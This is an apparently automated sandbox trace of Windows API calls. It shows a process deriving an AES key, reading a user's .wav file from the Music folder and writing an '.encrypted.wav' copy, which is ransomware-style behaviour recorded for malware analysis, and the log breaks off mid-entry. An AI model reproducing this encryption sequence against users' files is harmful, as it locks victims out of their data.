PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.111] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.111] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.111] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.111] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.111] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.111] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.112] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.112] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.112] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.112] CryptHashData (hHash=0xe8f4062790, pbData=0xe8f418b7e0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.112] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.112] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.112] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062790, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.112] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.113] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.113] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.113] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.113] CryptDestroyHash (hHash=0xe8f4062790) returned 1 [0027.113] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.114] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.114] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\iqgBYd1lYt0eST.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\iqgbyd1lyt0est.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.115] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.115] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.115] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.115] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.115] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.115] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.115] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\iqgBYd1lYt0eST.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\iqgbyd1lyt0est.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.116] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.116] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.116] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.116] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.117] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.117] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xd9e6, lpOverlapped=0x0) returned 1 [0027.118] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.120] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.121] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.121] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.121] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.121] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.121] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.122] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.122] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.122] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.122] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.122] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.123] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.123] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.124] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.124] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd9e6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd9f0) returned 1 [0027.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.124] CharLowerBuffW (in: lpsz="byte[55793]", cchLength=0xb | out: lpsz="byte[55793]") returned 0xb [0027.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.125] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.125] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a2e00*, pdwDataLen=0xe8f3dfdf68*=0xd9e6, dwBufLen=0xd9f0 | out: pbData=0xe8f43a2e00*, pdwDataLen=0xe8f3dfdf68*=0xd9f0) returned 1 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.125] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 